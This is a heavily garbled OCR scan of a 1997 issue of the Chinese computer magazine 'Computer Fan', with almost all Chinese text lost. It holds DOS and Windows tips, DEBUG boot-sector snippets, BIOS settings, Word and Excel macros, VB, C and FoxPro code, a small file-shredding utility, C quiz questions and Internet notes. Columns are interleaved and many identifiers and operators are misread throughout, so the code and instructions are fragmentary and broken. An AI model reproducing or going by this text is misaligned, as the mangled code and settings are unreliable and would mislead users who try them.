Quickres. exe
Xmouse. exe
X
Bringwindow to top Xmouse
Flexicd CD  clock
tapitna clipbk
Kerneltoy Windows95
Shellteam
Powertoy Kernelteam
Kerneltoy
krnltoy. exe
Powertoy
Update version Service Pack 1
95 —
TechWeb
©
.35,



WM %z B

U
JRAFMrE
VCD
486 586
CONFIG. SYS
DEVICE =C \DOS\HIMEM. SYS
—. B EE DEVICE =C \DOS\EMM386. EXE
DOS = HIGH UMB
CPU486SX 25MHz 4MB 16 B SR E
SVGA 80MB 101
VCD
( )
— I
— . BRI CPU Pentium 90MHz 1MB
ISA
Speaker
CD - ROM
A Windows 3. 2
A SETUP
DMA
Autoexec. bat
MIDI CD AUDIO
Windows 3.2 AL-
SRACK CD
= .BIERBR
ISA VGA
A Windows 3. 2
A SETUP
DMA
Autoexec. bat
Config. sys
VCD
HARDWARE
DMA IRQ
NORTONS. 0 DMA
. 36. W EAFE 1997 . 7.



486 MOV CX 0001
MOV BX 0200 0 1
Non-System disk or disk error MOV DX 0080 C
Replace and press any key when ready INT 13
—XXXX OI0E INT 3
-G =100
—D 200 3FF
CMOS
“Cc A7 DEL
CMOS “Cc A7 DOS FDISK
“ A C
A \ FDISK/MBR
KILL77 DOS SYS
DOS DEBUG
A:\BYS C
A \ Mebug
-A 100 DOS
- XXXX 0100 MOV AX 0201 DOS ©
EZ
Seagate EZ EZ/MBR
DOS EZ-Drive boot ( EZ
528MB EZ-Drive boot )
0 486/ VESA EZ/MBR
EZ-Drive boot
BIOS
A C
A EZ-Drive boot
EZ
EZ
EZ-Help. exe (1) BIOS C
EZ A
(2)
EZ boot
EZ - Drive (3) EZ-Drive boot

EZ

Computer Fan 1997 . 7.

(4) EZ-Drive boot
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X

RPN 5 CRUT L SESE oD B

VCDCOPY
]

DAT CDUTIL

CDUMP. EXE CDROM

CDUMP [-r]

[Filename] [Device ]

start_sector number_of sectors

-r
start_sector

number_of_sector

Filename IMAGE. CD
Device CDROM ONIDEO0O1,
CDROM F:
ISO 9660 CDROM
75 ( 4500 ) 2048

T2
S
N
S =TI * 4500, N = T2 * 4500
VCD 10 2
VCDI.DAT CDROM E
CDUMP -R 45000 9000 VCD1. DAT E:
[ 1
1. -r
2. VCD 0
1000
3. DAT MPG
2048 % N
5. OK VCD-
COPY @

Soft Menu BIOS
CPU (Abit) Pentium
QDI SPEED
EASY SOFT MENU
CPU Del
BIOS SOFT Menu
1. CPU Intel Cyrix AMD
2. CPU 75 90 100 120 133 150 166
200 CPU
CPU Remark  CPU
133CPU 166
Remark CPU 133 100 120
Remark 166 Pen-
tium133 CPU 166 Cyrix CPU133 +
166 + Remark 133 + CPU
166 +

. 38.

CPU TURBO
3.
10 CPU 3.38 3.60
3.52v 10 3.30 3.52 3.38v
2.50 2.93 2.80 2.78v CPU
CPU
Cyrix CPU
Cyrix CPU
MMX CPU MMX CPU 2.80
1 (0) 3.30
4. 50 55 60 66 75
CPU Cyrix 200 +
SOFT MENU CPU
©
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1995 386DX /40
Acer 525E (&)

/
/
CDR101: Not ready reading drive E About Retry
Fail? ,
, 2mm
/ /
)
@
©
EC. BAT
DOS
u DEBUG
C: \DOS IDEBUG RB. COM RB. COM
-A 100
XXXX: 0100 INT 19 DOS
XXXX: 0102 XXXX
-R CX
CX 0000
12
-W
-Q DEBUG
DOS RB
DOS CONFIG. SYS AUTOEX- ©

Computer Fan 1997 . 7.
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X

.DOT
O WORD 7.0 Lo
RSl . . ExecuteOnly—
R AR 0 PR AP
[
Sub MAIN
WORD 7.0 Begin Dialog UserDialog 350, 150, " "
NORMAL Text 10, 20, 150, 12, " 2
‘ b c TextBox 10, 40, 300, 20, . TextBoxl, 1
Text 10, 70, 150, 12, ” 2
TextBox 10, 90, 300, 20, . TextBox2, 1
OKButton 30, 115, 90, 21
CancelButton 150, 115, 90, 21
End Dialog
WordBasic Dim dlg As UserDialog
MacroCopy MacroCopy Dialog dlg
en = IsExecuteOnly (dlg. textbox1) ’
MacroCopy [ 1:] 1, [ 2: ] 2 [ Ifen = — 1 Then ’
ExecuteOnly | MacroCopy dlg. textbox1, dlg. textbox2, 0
Else ’
[ 1:] 1— MacroCopy dlg. textbox1, dlg. textbox2, 1
[ 2: ] 2— End If
1 2 End Sub ©
WINO5 [ GE—]
SCAN- ‘511
wings
(Pentium75 1. 2MB 201
WIN95
WINO5 O %%
s 53
WIN95 CONFIG. SYS 1. DOS FORMAT SCAN- LE@
HIMEM. SYS DISK E
CONFIG  SAFE 2. BIOS :
WINOS5 i
WIN95 3. @
©

. 40.
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Y

¢ X EXCEL 2 N 3TEP ThAE 652K &E

L]
EXCELS5. 0 LQ - 1600K
’ Macro
Sub main ()
msg = e
J ” ”
Style = vbOKCancel
Title < "
msgl =
default =1
EXCELS5. 0 Vi- a = InputBox (msgl, Title, default)
sual Basic LQ - Do
1600K A?tive Window. SelectedSheets. PrintOut From: =a, To: =
a, Copies: =1
b =MsgBox (msg, Style, Title)
a=a+1
Ifb = vbCancel Then
ExitDo
End If
Loop
End Sub
COMPAQ386SX WINDOWS3. 1
EXCELS5. 0 @
Turbo
a A A l , ; )1‘ DCI
\l l) ~ }\ ﬁ'— N Al 'sz
DCI(Display Control Interface) Microsoft
3D Digital Video Xing
| DCI
DCI
Turbo
Intel
P55T2P4 S3(64V +) Xing
280 CPU  Pentium 133 Xing MPEG Player Settings ( )
Xing Playback ( ) Playback Options
MPEG (Version 1. 40) VCD MPEG Drivers Setup Xing MPEG
USE DCI If Available
Windows Xing
MPEG
280
Windows
280 Windows Lotus Smartvite MS-Office Turbo
Winfast S280 Utilities
Leadtek Winfast 280 Setup ©
Computer Fan 1997 .7. L41.



Forml. Picture1 (0)

@0/3939}339gsaha;ﬁbaaabnaggabaa;gaagg?a;aabaaaDe_aaggabaaabﬁagﬁaaaagaabaa“,
3% B .
2 % . AutoSize = False
% e 1
3 ‘.E Form1. Picture1 (1)
R JIUBIFAF
% | § % . AutoRedraw = True
% )
DOS 3 % Form]. Picturel (1)
Windows % ] % . AutoSize = False
DOS ) g2
Windows Wﬁe?§s€£ab’£es§EFEQEEEQEEEQ5F§EFEQEEEQ5¥§EFEQEEEQEHEQEF§5€£5E5Q5¥§EQQEEEQ
Windows VB4. 0 Forml. Picture1(1) Width  Height
CommandButton ( CommandBut-
ton  Commandl )
Forml. Picturc1(1)  Width
BMP Height
_
1. PHOTOSHOP Width  Height
BMP Form1. Picturel (0)
2. 3DS Forml. Picturel(0) Forml. Picturel (0) Pic-
BMP ture
(1) 3DS Render — Setup — Background N
p g
Width  Height 0
(2) Render — View — Config- Form1. Picturel (0)
ure — 256  BMP Recale Form1. Picturel (1) . Picture Forml1. Picturel
disk BMP (1). Picture
VB
L (—(7.bmp 320 % 200 % 256C
Forml PictureBox BMP
Forml. Picture1 (0)  Forml. Picturel (1), Private Sub Form _ Load ()
Forml. Picture1 (1)  Forml. Picturel (0) F . Y Y
orml. Caption =
! , Picture1(0) , Picurel (1)
'Picturel (0) Picurel (1)

picturel 1

= |

picturel 0

Form1. Picturel(0). Left = Form1. Picturel (1). Left

Form1. Picture1(0). Top = Form1. Picture1(1). Top

Form1. Picture1(0). Width = Form1. Picture1(1). Width

Form]1. Picture1(0). Height = Form1. Picturel (1). Height
Form1. Picture1(0). AutoRedraw = True

.42,

Form1. Picturel (0). AutoRedraw = True

Form1. Picturel (0). AutoSize = False

Form1. Picturel(1). AutoRedraw = True

Form1. Picturel (1). AutoSize = False

Form1. Picturel (0). Left = Forml. Picturel (1). Left

Form1. Picture1(0). Top = Forml. Picturel (1). Top

Form1. Picture1(0). Width = Forml. Picturel(1). Width

Forml. Picture1(0). Height = Form1. Picturel (1). Height
EndSub
Private Sub Command]1_Click ()
! Picturel Picture s wqje
Form1. Picturel (0) . Picture = LoadPicture ("e: \ 3ds4 \ images \
t1. bmp”)
Form1. Picturel (1) . Picture = LoadPicture("e: \ 3ds4\ images\
t3. bmp”)
! wl hl
wl = Forml. Picturel (1). Width
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PE€€€€CCCeeeeeeeeceetx

I‘¢“-. g #”

O

Y
Y
Y
Y
Y
i
A>>>>F>FF>IF>>F>>>>>>

A
A
A
A
A
A
A
1

PC-
TOOLS DISKEDIT. ..

C !

#include <fcntl. h>

#include <stdio. h>

#include <conio. h>

main ()

{

char name [50], ch; / * name */
int handle;

long int length, i;

clrser(); / % * /

gotoxy (28, 1); / * *x /

puts ("File Killer Ver 1. 0");

gotoxy (28, 3); puts ("Program by Liu Zhifeng”);
puts ("\nPlease enter filename: ");

gotoxy (24, 5); scanf("% s”, name);
puts ("\nReally [Y /N1?"); / * */
ch =getch(); / * ch  */
if(ch=='N'llch=="n")
exit(0); / * */
handle = open(name, O WRONLY); /* * /
if(handle= = - 1)
{
printf ("\n\n Can’t open file % S!”, name);
exit(1); / * */
}
length = filelength (handle); / * length %/
textcolor (WHITE + BLINK); / % */
gotoxy (1, 9); cputs ("Working. . . ");
for(i=1;i <=length;i+ +)

{
write (handle, "\xf6", 1); /* " "
*/
}
close (handle); / * * /
unlink (name); / * * /
textcolor (LIGHTGRAY ); / * * /
gotoxy (1, 9); cputs ("Completed ! !'!");
}
386 VGA Turbo C 2.0
PCTOOLS UN-
DELETE “
" ©

h1l = Forml. Picturel(1). Height
"Picturel (1). Picture 5

Forml. Picturel (1). Height = hl

Forml. Picture1(1). Width = 0

Fori = 0 To 50

Forml. Picturel(1). Width = i * wl / 50

Next i
! Picturel (0). Picture

Picture1(0). Picture
Forml. Picture1(0) . Picture = LoadPicture(” e: \ 3ds4 \images\
t4. bmp”)

Picture1(1). Picture

"Picturel (1). Picture )
Form1. Picturel (0). Picture
Fori = 0 To 50
Forml. Picture1(1). Width = wl — i * wl / 50
Next i
"Picturel (1). Picture N

Forml. Picturel(1) . Picture = LoadPicture("e: 3ds4\ images\

t5. bmp”)

Form1. Picturel (1). Width = 0

Fori = 0 To 50 "step wl/50"

Form]1. Picturel1 (1). Width = i * w1l / 50

Next i

" Picturel (1). Picture Picturel (0). Picture

Picture1(0). Picture

Form1. Picturel (0). Picture = LoadPicture ("e: \3ds4 \images \t7. bmp")

Picturel (1). Picture )
Form1. Picturel (0). Picture

Computer Fan 1997 .7.

Form1. Picturel (1). Height
Fori = 0 To 50

Forml. Picturel(1). Height = h1 — i * hl / 50
Next i

" Picturel (1). Picture s

hl

Form1. Picturel (1). Picture = LoadPicture ("e: 3ds4\images \t6. bmp”)
Fori = 0To 50
Forml. Picturel(1). Height = i * hl / 50

Next i
End Sub
Private Sub Command2_Click ()
End
End Sub
256
256

WINDOWS3. 2(TVGA 1024 *

768 * 256C) Pentium75 VB4. 0 ! ©

. 43.



X

>}

VB f) B R EE T

L]
VB VB
OLE2.0 API
VB
VBX
Autodesk VB-
PLAY. VBX
VB3.0 File — add File
WINDOWS  SYSTEM VBPLAY. VBX
VBPLAY. VBX ANI-
MATION
1. name height width top left

forecolor backcolor enabled visible index,

2. BorderStyle 0-
none 1 —Fixed Single,
2 — Sizable ( ) 3 — Fixed Double,
3. All Color WINDOWS
Colorcycling
4. Aniheight  Aniwidth,
5. Autoplay
TRUE
FALSE
6. BeginFade BeginFadeTime EndFade EndFade-
Time, VBPLAY. VBX
BeginFade
cut Fade to/From Black

Fade to/From White

Bitbil WINDOWS API
BeginFadeTime
Timer Interval
EndFade  EndFadeTime
BeginFade  Be-
ginFadeTime

7. FullScreen
8. Hide Animation

.44,

VBPLAY. VBX

9. LoopFrame
TRUE FALSE
10. MemoryLoad TRUE

11. Play Pause Pauseatend

12. SOUND Sound
SoundDelay
SoundRepeats

13. AniSettings “ Click Here For Dia-

log”
“ TEST"
“ TRANSITIONS”
VB3.0

FORM1: caption:

windowstate: 2 — maxizimed
ANIMATIONI1: ANIMATION: C: \DEMO\DEMO. FLC
BeginFade: Fade to/From Black
BeginFadeTime: 3000
EndFade: Fade to/From White
EndFadeTime: 3000
Hide Animation: true
FullScreen: true
Sound: c: \demo \demo. wav
SoundDelay: —2000
SoundRepeats: 0
Type: (FLI/FLC)
COMMANDI: caption:
COMMAND?2: caption:

Sub Command3D1_Click ()
animationl. Play = True

End Sub
Sub Command3D2_Click ()
End
End Sub
3DS FLI/FLC
WINDOWS  SYSTEM FLI/FLC
AAPLAY.DLL

@
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Windows 95

DOS undelete
DOS
undelete
DOS “ "

8MB
4MB

DOS
— AR R

1. & M
CONFIG. SYS
DEVICE = C \DOS\RAMDRIVE. SYS /e 2048
/e
2048 2MB
(8MB 2048 16MB
4096)
2. % AUTOEXEC. BAT X4+
AUTOEXEC. BAT
DOSKEY DEL=SDEL $1 $2
SDEL. BAT
DEL DEL

3. # 3 SDEL. BAT X4+
SDEL. BAT

@ echo off

if "%2"=="/0" goto s
if "% 1"= ="/2" goto h
if "%2"==""goto a
ta

copy % 1 e:> nul
erase % 1

. 46.

SDEL. BAT

goto end
i
erase % 1
goto end
:h
cls
echo +
echo = = =HELP FOR DEL = = =
echo +
echo +
echo DEL filenames /0 : Delete the files, It can’t
be saved!
echo DEL filenames : Delete the files, It can be
saved!
echo DEL /?: The Help for this software!
echo +
go to end
rend
E D F
COPY % 1 e: > nul ‘e (
OK
—_ 2
= A& A B
DEL filenames
DEL filenames /0
DEL /?
W R EFR
1.
2.
undelete
3.
SDEL. BAT
copy % 1 e:> nuL
copy % 1 c: \SAVE> nuL
Cc\ SAVE
4. ( )
“ 0
5.
@
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FoxPro2. 5

AST486/50D 8MB

VGA640 * 480 ucC-
DOS3. 1 3.0
LIGHT. DBF
1 OBIJE 2(
)
2 YANSE 5(
)
“ °
(
)
OBIE YANSE

1# T+ /W +

2# 3+/6+

3# 2+/5+

4# 4+/2+

S# [ ] 5+ /W+

OBIJE
SET TALK OFF
SET CURS OFF & &
CLEA
USE light
hang =8 & & ,
lie=6 & & s
hangsta =10 & & s
liesta=5 & &

lightsum = (hang +lie) *2 -4 & &

DIME zbwz (lightsum, 2)
string =" "

"n

yanse =

Computer Fan 1997 . 7.

SCAN
string = string + obje
yanse = yanse

ENDS
string = PADL (" ', lightsum * 2, string)
& &
yanse = PADL (" ’, lightsum * 5, yanse )
& &

FOR ip =1 TO lie — 1
zbwz (ip, 1) = liesta +ip
zbwz (ip, 2) =hangsta + (hang — 1) * 2
ENDFOR
ip=ip-1
FOR iip =1 TO hang - 1
zbwz (ip +iip, 1) =liesta + lie — 1
zbwz (ip +iip, 2) = (hangsta + (hang — 1) *2) —iip* 2
ENDFOR
iip =iip — 1
FOR iiip =1 TO lie — 1
zbwz (ip +iip +iiip, 1) = liesta + lie — 1 —iiip
zbwz (ip + iip +iiip, 2) = hangsta
ENDF
iiip = iiip — 1
FOR iiiip =1 TO hang — 1
zbwz (ip + iip + iiip +iiiip, 1) = liesta
zbwz (ip + iip + iiip +iiiip, 2) = hangsta + iiiip * 2
ENDFOR
*
i=1
ii=1
DO WHILE. T.

char = SUBS (string, i, LEN(string) —i + 1) + LEFT (string,

i-1)

ysd = SUBS (yanse, ii, LEN (yanse) —ii + 1) + LEFT (yanse, i-

i-1)
FOR ip =1 TO lightsum
ysxs = SUBST (ysd, 5% ip -4, 5)

@ zbwz(ip, 1), zbwz(ip, 2) SAY SUBST (char, 2*ip -1, 2)

COLO & ysxs

ENDFOR

tmp =INKEY (0.5) & &

IF CHR (tmp) ='Q" & &
RETURN

ENDIF

i=i+2

ii=ii+5

IF i> lightsum
i=1
ii=1

ENDIF

ENDDO

USE

SET CURSON & &

* EOF
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— A dk )
FoxBASE = BB

@2,0 SAY
K =SPACE(2) + TRIM ( ) *
IF LEN (TRIM ( )) <> 0

= / K=K+""+TRIM( ) %
ENDIF
D —( ) K=K+"/"+TRIM( )

IF LEN (TRIM ( )) <> 0
K=K+7;” + TRIM( ) *

O ENDIF
K=K+". —"+TRIM( YA " + STR(YEAR
( ),4) +"." + STR(MONTH ( ), 2)
A=0
H=INT(LEN(K)/40) * K

DO WHILE A <=H
@ PROW () +1,6 SAY SUBSTR(K, A*40 +1, 40)

* K A*40+1 40
A=A+1
ENDDO
KK =SPACE(2) +STR(  , 4)+” :;”"+STR( , 2)+"
—_ 77~ " *
"ﬁ*’k'@ﬁg‘ IF LEN (TRIM ( ) <> 0
KK =KK +”. = (" + TRIM( )+")"
ENDIF
FoxBASE A=0
——TRIM( ) H =INT(LEN(KK) /40)
DO WHILE A <=H
o @PROW () +1, 6 SAY SUBSTR (KK, A * 40 + 1, 40)
A=A+1
ENDDO
——LEN(TRIM( ) @PROW () +1, 8 SAY TRIM( )
@PROW() +1,8 SAY STR(  ,6,2) +" "
K @PROW(),2 SAY STR( . 1)
@PROW (), PCOL() SAY""
K ( 40 RETURN
) ——INT(LEN(K) /40)
H H K K
—SUBSTR(K A*40+1 40) (A @
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VRAM
16
“001513..."
013 15
“00FD..."
« m “ 00FD. "
0 15 15
1111
BitMap
“ ShenZhiHong"
image.c  Turbo C2. 0

#include <graphics. h>
#include <stdio. h>
struct dotcolor
{ unsigned dotl: 4;
unsigned dot2: 4; };
typedef union
{ struct dotcolor color;
char dot; }BYTE;
/* :fn s */
void Savelmage (char * fn, int left, int top, int right, int bottom)
{int x, y, typex =125;
char * mark ="ShenZhiHong"; / * */
BYTE store;
FILE * fp;
fp = fopen (fn, "wb”);
while ( * mark)
fwrite (mark + +, sizeof (char), 1, fp);
setfillstyle (1, RED);
for(y =top; y <bottom;y + + )
{ for(x =left; x <right; )

Computer Fan 1997 . 7.

0

{store. color. dotl = getpixel (x + +,y);

store. color. dot2 = getpixel (x + +,y);

fwrite (& store. dot, sizeof (BYTE), 1, fp); }

i1 (y%4))

{ bar (typex, 41, typex +4, 53); typex + =4; }}/ *
*/

felose (fp);

printf("Press any key to continue!”); }
/* : fn s
*/

int LoadImage (char * fn, int left, int top, int right, int bottom )
{ int x, y, typex =125;
char ch, * mark ="ShenZhiHong"; / * */
BYTE store;
FILE * fp;
fp = fopen (fn, "tb");
if (! fp) return(0);
while (* mark) {fread (& ch, sizeof (char), 1, fp);
if(ch = = EOF) {fclose (fp); return(1); }
if(ch! = * mark + + ) {fclose(fp);return( —1); }}
setfillstyle (1, RED);
for(y =top; y <bottom;y + + )
{ for(x = left; x <right; )
{ fread (& store. dot, sizeof (BYTE), 1, fp);
putpixel (x + +,y, store. color. dotl);
putpixel (x + +,y, store. color. dot2); }
if(!1 (y%4)) {bar(typex, 41, typex +4, 53); typex + =
45}/ */
felose (fp);
printf ("Press any key to exit!”);
return(1); }
main ()
{int gd = VGA, gm = VGAHI;
initgraph (& gd, & gm,”");
setfillstyle (3, GREEN);
bar (100, 100, 300, 300);
setcolor(WHITE);

rectangle (123, 39, 427, 54);

outtextxy (400, 150, "Hello!");

Savelmage ("text. dat”, 100, 100, 600, 400);
getch();

cleardevice ();

rectangle (123, 39, 427, 54);

LoadImage ("text. dat”, 100, 100, 600, 400);
getch();

closegraph(); }
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Windows 3. X  Windows 95 Win-

“ ”ow ”

dows NT BitMap . BMP
Icon . ICO Cursor . CUR
Audio / Video Interleaved . AVI Windows  Windows 95
Windows 3. X Application Starting Hour Glass
. ANI Windows

— . % #F Windows BitMap X4 (32 % 32
bits. 16 colors )

BitMap MS — Windows
Windows BitMap “ BMP’
“ DR « _— "
Icon  Cursor
AVI ” “ ”
RIFF Windows BitMap
ANI True Color
RIFF
AVI 2 16 256
ANI True Color
. BMP 1
A
MCI
EXE DLL
) 1
32 % 32bits  16colors 0000 42 4D 76 02 00 00 00 00 00 00 76 00 00 00 28 00
0010 00 00 20 00 00 00 20 00 00 00 01 00 04 00 00 00
Windows 95 0020 00 00 00 02 00 00 00 00 00 00 00 00 00 00 10 00
) 0030 00 00 10 00 00 00 00 00 00 00 00 00 BE 00 00 BF
Windows NT 0040 00 00 00 BE BF 00 BF 00 00 00 BF 00 BF 00 BF BE
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0050 00 _00

CO_C0_CO _00 80 _80 80 00 00 00 FF 00 00 FF

0060 00_00

00 _FF _FF 00 FF 00 00 00 FF 00 FF 00 FF_FF

FF FF FF 00 FF FF FF FF FF FF 11 11 11 11

0070 00 00

0260 11 1F

FF_FF FF FF FF FF FF FF FF FF 11 11 11 11

0270 FF_FF FF FF FF FF

1. 0000 ~ 000D

0000 ~ 0001
0002 ~ 0005
0006 ~ 0009
000A ~ 000D

2. 000E ~ 0035

000E ~ 0011
0012 ~ 0015
0016 ~ 0019
001A ~001B
001C ~ 001D
001E ~ 0021
18

0022 ~ 0025
0026 ~ 0029

. DIB
002A ~ 002D

. DIB

002E ~ 0031

0032 ~ 0035

3. 0036 ~ 0075

16 64

Computer Fan 1997 . 7.

256

276h

00h”
Eh +

28h +
40h + 1

28h

plane 1

2 4
200h

00h

00h

1024
[B G

True Color

[B G
R ]
1
RGB
1 00 00 00 00 0036 ~ 0039
2 00 00 BF 00 003A ~ 003D
3 00 BF 00 00 003E ~ 0041
F FF FF FF 00 0072 ~ 0075
4. 0076 ~ 0275
2 1 3
1 16 4 256
3 1 True Color 24
3
= * * /
8
2
2
2
2
A 2
0076 Bit -5 00 FF FF FF 00
0076 Bit 4, 10 FF FF FF 00
0275 Bit 45 31 30 FF FF FF 00
0275 Bit 4., 31 31 FF FF FF 00
Bits -5 Bits -,
5~8 1~4
Bit; Bit,  Bits
(#%)
.51,
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4 B it HAuF R A KA AL

(]
(#r4)
C
1.
int x=3;
do
{ printf("%3d", x - =2); }
while(! (= =x));
A)l B)3 0 c)1 -2 D)
do — while
while
1
x-=2 1(--x)
x 3 x—- =2
1 1 x 1 !
(=) 1 —-x 0 !
X 0 x—- =2
-2 -2 x -2
(- —x) 0
C
2. a
#define SQR(X) X*X
main ()
{int a=10,k=2,m=1;
a/ =SQR(k +m)/SQR(k +m);
printf ("% d\n”, a);
}
A)10 B)1 C)9 D)0

k +m SQR(k +m) k+m*k+m
a/ =SQR(k +m) /SQR(k +m);

a/ =k+m*k+m/k+m¥*k+m;

a/=((k+m)* (k+m))/((k+m)* (k+m));
k m

. 54.

a/=2+1%2+1/2+1%2+1;

a/=24+2+0+2+1

#include <stdio. h>
f(int a)
{ int b=0;

return(a); }
main ()
{ int a=2,i,k;
for(i=0;i <2;i+ +)
k=f(a+ +);
printf ("% d\n”, k): }
A)3 B)O C)5 D)4
for
() f
() c
C
a=c+ +,b+ +
a b+ + !
?
a=
c+ + b+ +
a=c+ +
b+ +
!
() 2 a
3 f() c+ + 3 a 3 ¢
4 c f()
b+ + 0 b 1
a () 3 a
4 £() c+ + 4 a
4 ¢ Sbh+ + 0 b
() f()
b 1 f() a

static ¢ = 3;

a=c+ +,b+ +;
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4 kK 4
D
4,
main ()
{ int al5]=1{2,4,6,8,10}, *p, * *k;
p=a
k=& p:

printf ("% d ", * (p+ +));
printf ("% d\n", * *k);

}
A4 4 B)2 2 C)2 4 D)4 6
p p a
k &p
k p
printf() *(p+ +)
* (p+ +) p
p
2 printf() * x k k p
p a 1 ( 0
) * %k 4
C
5.
fut(int * *s, int p[2][3])
{ **%s=pl1][1]:}
main ()
{
int a[2]1[3]1={1,3,5,7,9, 11}, *p;
p = (int * )malloc (sizeof (int) );
fut(& p,a);
printf ("% d\n", *p);
}
A)l B)7 €)9 D)11
fut
0 s p
malloc () p p
int
fut()
&p
a P pl1]
[1] al[1]1[1] 9 s
main () p s
*p 9
C
6.
fun(int n,int *s)
{ int f1,f2;
ifln==1 11 n==2)*%s=1;
else

{ fun(n-1,&f1);
fun(n -2, & 2);
*s=f1+12;

}

Computer Fan 1997 . 7.

}
main ()
{ int x;
fun(6, & x);
printf("% d\n", x);

}
fun()
fun() int
int S n
s X
fun()
n int *s
‘ "
‘ ")
(6) ° i X
fun(6)—fun(5) + fun(4)
fun(6) ! fun(5)
! fun(4) * "o )
fun (5)—fun (4) + fun(3)
fun(4)—fun(3) + fun(2)
fun(3)—fun(2) +fun(1)
fun(2) fun(1)
1
fun(3) “ i 1+1 2
fun(4) o241 3
fun(5) 342 5
fun(6) 543 5
8
fun(int n)
{ if(ln==11In==2) return(1);
else return(fun(n-1) +fun(n-2));
}
main ()
{ int x;
x =fun(6);
printf ("% d\n”, x):
}

return

int

fun

“



buffer
size nitem
fp
WEESFRT :
(]
fscanf (fp, " )
fclose (fp) “ ?
fp scanf () fp
2.
4 fprintf (fp" ! )
1 “ "
fgete (fp) printf() fp
fp
3.
ASCII
fputc (c, fp)
c char fp 1
c fp
2
fgets (s, n, fp)
s fseek (fp, s )
fp n fp
(n=-1 ) fp long
n-1 s 0
1
s 2
fputs (s, fp) 2
s
fp s
fp rewind (fp)
3 fp
fread (buffer, size, nitem, fp)
buffer fseek (fp, OL, O)
size OL 0
nitem fp 3
fp
buffer nitem long int
size
nitem size ftell (fp)
f
fwrite (buffer, size, nitem, fp)
4 fread () ( )
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http: / /www. cfan. cn. net

(L2 AGHARL)

-oné - e PP

E5R%I5

= (1))

v
38
H3)

1997 2
MS - DOS6. 0
INTERNET. EXE INTERSVR. EXE
INTERLNK ( )
— R AR L R 0 A
16KB
130KB
= ARl G R A ik
1/0 9
25 ( coMl
COM2)
2 9 (
2 25 1 9 1 25
) 3 7
3 7 )1.5~
2 ( LapLink
) 9 25
3 l-al-bl-c
9 9

@ o
@ o
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25 25

7 2-a2-b2-c

[ =B e NNV N NS AN S ~
[
|
D <}
=)
[N e NNV N VS AN S
~N W

[~ N B NNV I NNV ]
[[SIEN BN NV I ROV ]
(=}

25

N N R W
38
I
o
[Se]
W
~N OB WD

X - R LR E P

1.

/COM: n /LPT: n
/B INTERSVR
2. CONFIG. SYS INTERLNK
/
DRIVES: n  n ( 3 0~26
n 5) n
/
COM: n /LPT:n
3.
°
°
Internet http: / /www. homeway. cn. net
hitp: / /www. homeway. co. cn
65917601 - 05 62535410 64601323
65917598 6401332 4711 (100027)
15 86 507
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<

http: / /www. cfan. cn. net

o =R A EDN

B Internet 177 %

O
90
Internet
®
@
Internet
ISP
( ) ( )
Internet
( /BAUD: RATE
9600 19200
38400 57600 115200 115200)
LRSS RSP I -
1.
INTERSVR
“ INTERLNK SERVER” IN-
TERLNK
Alt + F4
INTERSVR

. 58.

1.
Modem
Internet
‘ " Modem In-
ternet

2.

3. Modem

4.

“ @ "

( Isp )

5.

( Email
)
6. (
)
(
WinNT/Win95 /Netware / U-

nix)
Internet Shuttle DOS www. beacon - taiwan. com
Ishare Win95/WinNT  www. artisoft. com

opensesame Win95/WinNT ~ www. csm — usa. com

Wingate Win95/WinNT ~ www. dearfield. com/wingate
winproxy Win95/WinNT  www. winproxy. com
netproxy Win95/WinNT  www. grok. co. uk
©
“ INTERLNK SERVER”
INTERLNK INTERLNK
Bk TR W 2504 A ey 18 1T Ak
UCDOS WINDOWS )
CONFIG. SYS
DEVICE? = C: \DOS\INTERLNK. EXE/
©
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35%

WebTV
11
Exposition

Vegas
WebTV  WebTV
Internet
100%

90%

31%
WebTV

WebTV

WebTV

10%

COMDEX (Computer Distribution

)

Internet

50%

400

Web

WWW
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Gateway 2000

37

WebTV
—f WWW
g 3 .
LA\
A (1) WebTV 5
2 5
(2)
(3) WebTV
Internet
(4)
WebTV
(5) WebTV Modem ( )
33. 6kbps
WebTV
4.
WebTV
1996 396
9
329 199
NetLink 1996 10
25 Internet 1000
Zenith
320 PopularScience  (
)
RCA Internet
36 “ (Genius Theatre)”
(data — grade)
Internet

31

29 33
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@ http: / /www. cfan. cn. net

0o
SAo, vy A
Internet M3k 53 %9
http: //www. be. com/
Be
http: //www. dhm. de /ausstellungen/ eaintroe. html (Apple) PC R&
" End D . . (Jean- Louis
and Begining asscc) 1990 Be
(Dresden) “ BeBOX" “ Be »
PowerPc Mac/Motif/ Windows
(Michael Ruetz)  ° ! BeBox
1965 - 1995 Be
‘ Timescape” ?
http: //www. mcafee. com/
Mcafee
http: / /freethought. tamu. edu/ 30 PC
" Internet Infidels” Mcafee
Secular
(John Maisel) ?"
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(Online Backup)

Internet

DataSafe Mcafee
Surefind

Connected  DataSafe

ternet
28. 8kbps
)
DataSafe

Computer Fan 1997 . 7.

(Computer Safebox)
Connected

WebStor EIS

In-

Connected

DataSafe

50MB 3

Windows  Explorer

DataSafe

DataSafe 15

Connected

25

(

50MB
30

Internet

.61.



QBASIC BEEP

REM JIJIAN. BAS
fori=1 to 84
randomize timer
x% =int(rnd * 6) + 1
print X%
aa$ = inkey$
if str$(x% ) =aa$ then beep
for j=1 to 100
next j
next i
end
BEEP

BEEP

SOUND
SOUND F T

F 37 32767
1/18.2 T 0
65535 0 3600

SOUND

F

REM YINXIAO. BAS
screen 11, 2,0
color 1, 2,3

. 62.

for i% =440 to 1000 step 10
j=int(sin(i% /100) * 200) +200
pset(i% —439,400 —j), 1

sound 1% , 1% /1000

for ys% =1 to 100

next ys%

end

¢ —130.810 ¢-261.630 c—>523.250

d-146.830 d-293.660 d-587.330 d—-1174. 700
e—-164.810 e-329.630 e -659.260 e —1318. 500
f-174.610 £-349.230 f-698. 460 f-1369. 900
g—196.000 g—-392.000 g-783.990  g-1568.000
a—220.000 a-440.000 a-3880.000 a-1760.000
b-246.940 b-493.880 b-987.770 b -1975. 500

REM chongming. bas
i1 =110:i2 =141:i3 =130: 14 =10:i5=100
n=10:j1 =400: j2 =2345:j3 =200"j4 =100
for j=1to j4
for i =39 to i5
read k
restore
sound k*jl,il/i/n
sound k*j2,i2/i/n
sound k*j3,i3/i/n
fort=1 to i4
next t
next i
next j
data 0.9,0.1,2,1.9,1.1,1,4.9,0.1,2
end
SOUND

PLAY
PLAY
BASIC

PLAY

A-G
On(n:1-6)
Nn(n: 0 —84) 84
NO
Ln(n: 1 -64)
1/N L1 L4

Pn(n: 1 -64) 1/N
Tn(n: 32 —255) L4

W AT E 1997 .



MF AL2BL8BL4AL8GTI0L1A "
play aa$
MB play aal$
play aa2$ +aa3$
33 play aa4$ +aa5$ + aa6$
play aa7$ + aa8$
